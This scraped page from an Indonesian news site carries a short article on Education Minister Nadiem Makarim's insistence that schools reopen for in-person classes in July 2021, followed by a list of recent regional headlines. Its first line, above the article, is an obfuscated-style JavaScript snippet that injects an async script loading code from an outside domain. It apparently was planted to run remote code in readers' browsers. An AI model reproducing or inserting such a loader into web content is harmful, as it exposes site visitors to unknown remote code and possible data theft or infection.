(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Mendikbud Nadiem Makarim Bersikeras Sekolah Tatap Muka Dibuka Juli


KANALKALIMANTAN.COM – Nadiem Makarim Mendikbud Ristek bersikeras membuka sekolah dengan skema tatap muka pada Juli 2021.

Nadiem menyatakan tidak ada tawar menawar demi pendidikan. Nadiem beralasan masa depan Indonesia sangat bergantung pada sumber daya manusia.

“Tidak ada tawar-menawar untuk pendidikan, terlepas dari situasi yang kita hadapai saat ini,” kata Nadiem dalam acara yang disiarkan Youtube Kemendikbud RI, Rabu (2/6/2021).

Meski mengaku memahani kekhawatiran orangtua, mantan bos Gojek tersebut menyebut penundaan membuka sekolah bisa berdampak panjang.

Pembukaan sekolah Juli nanti, kata Nadiem, berdasarkan pertimbangan usai dirinya membaca dan mendengar langsung keluhan para pelajar di media sosial.

“Kamu upayakan pendidik dan tenaga kependidikan jadi prioritas utama penerima vaksinasi Covid-19,” ucap Nadiem.

Sejalan dengan perintah Nadiem, Kemendikbud Ristek menerbitkan panduan pembelajaran tatap muka (PTM). Panduan ini diperuntukkan bagi sekolah PAUD dasar, dan menengah.

Nadiem berharap para pendidik bisa mempelajari dan menggunakan panduan saat membuka sekolah yang akan dilaksanakan pada Juli mendatang.

Sebelumnya pemerintah telah mewajibkan semua sekolah dibuka dan melakukan pembelajaran tatap muka secara terbatas. Hal ini dilakukan setelah vaksinasi terhadap guru dan tenaga kependidikan selesai dilakukan. Adapun kata Nadiem vaksinasi ini paling lama selesai pada Agustus mendatang.

Saat ini menurutnya baru terdapat 30 persen sekolah yang membuka pembelajaran tatap muka. Padahal pemerintah telah mendorong berulang kali agar sekolah dibuka.

Meski demikian, sekolah yang hendak melakukan PTM harus memenuhi sejumlah syarat, seperti mendapatkan izin dari pemerintah daerah setempat dan memenuhi daftar periksa dari Kemendikbud Ristek.

Hal itu meliputi sejumlah fasilitas pencegahan penularan Covid-19, seperti tempat mencuci tangan, disinfektan, dan toilet yang bersih.

(kanalkalimanatan.com/shintia)

 

Reporter : Shintia
Editor : Kk

 

 


Al Ghifari

Recent Posts

Gubernur dan Wagub Kalsel Antar Kloter 1 di Pesawat, Doakan Sehat Diberi Haji Mabrur

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Muhidin dan Wakil Gubernur Hasnuryadi Sulaiman mengantarkan langsung… Read More

7 jam ago

Keberangkatan Kloter 1 Embarkasi Banjarmasin Tepat Waktu

KANALKALIMANTAN.COM, BANJARBARU - Keberangkatan Kelompok Terbang (Kloter) 1 jemaah haji Embarkasi Banjarmasin berjalan lancar dan… Read More

7 jam ago

Jemaah Haji Embarkasi Banjarmasin Mulai Diberangkatkan, Kalsel 3.818 Orang

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan ibadah haji tahun 1446 hijriah/2025 masehi, Kantor Wilayah Provinsi Kalimantan Selatan… Read More

9 jam ago

Kloter 1 Embarkasi Banjarmasin Terbang Menuju Madinah

Nur Jaina Jemaah Haji Termuda Usia 18 Tahun, Berangkat Gantikan Ayah Read More

9 jam ago

Sidang Perdana Anggota TNI AL Jumran: Didesak Nikahi Juwita, Terdakwa Muncul Niat Jahat

Jumran dan Juwita Awal Kenal November 2024, Menginap di Hotel Read More

13 jam ago

Kabupaten Banjar Targetkan Kabupaten Layak Anak Predikat Nindya

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Keluarga Berencana (Dinsos P3AP2KB)… Read More

13 jam ago